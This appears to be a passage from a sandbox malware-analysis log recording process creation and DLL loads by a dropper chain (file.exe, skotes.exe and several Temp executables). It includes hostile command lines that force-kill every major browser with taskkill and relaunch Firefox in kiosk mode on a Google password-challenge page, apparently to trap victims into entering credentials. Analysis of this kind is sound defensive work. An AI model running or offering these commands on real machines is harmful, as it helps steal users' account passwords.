Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002860001\num.exe "C:\Users\user\AppData\Local\Temp\1002860001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2204 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b74fa48e-a275-4c6f-9a43-a536edfcef80} 7980 "\\.\pipe\gecko-crash-server-pipe.7980" 24956f6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4116 -parentBuildID 20230927232528 -prefsHandle 4176 -prefMapHandle 4132 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0b2dcf6-8d00-48d7-a45c-ce68e672d43c} 7980 "\\.\pipe\gecko-crash-server-pipe.7980" 24969041010 rdd
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe "C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe"
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process created: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe "C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe "C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe"
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process created: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe "C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe"
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1002860001\num.exe "C:\Users\user\AppData\Local\Temp\1002860001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process created: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe "C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe "C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe "C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe "C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe "C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe "C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002860001\num.exe "C:\Users\user\AppData\Local\Temp\1002860001\num.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process created: C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe "C:\Users\user\AppData\Local\Temp\3TJFBHTBUJ4JRCME5DZP9K.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process created: C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe "C:\Users\user\AppData\Local\Temp\PK29CODQN9XEGX33RPZ17G59EIZ.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process created: C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe "C:\Users\user\AppData\Local\Temp\QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe"
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2204 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b74fa48e-a275-4c6f-9a43-a536edfcef80} 7980 "\\.\pipe\gecko-crash-server-pipe.7980" 24956f6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4116 -parentBuildID 20230927232528 -prefsHandle 4176 -prefMapHandle 4132 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0b2dcf6-8d00-48d7-a45c-ce68e672d43c} 7980 "\\.\pipe\gecko-crash-server-pipe.7980" 24969041010 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002859001\457547ced2.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002858001\cc6c7213b6.exe Section loaded: ntasn1.dll
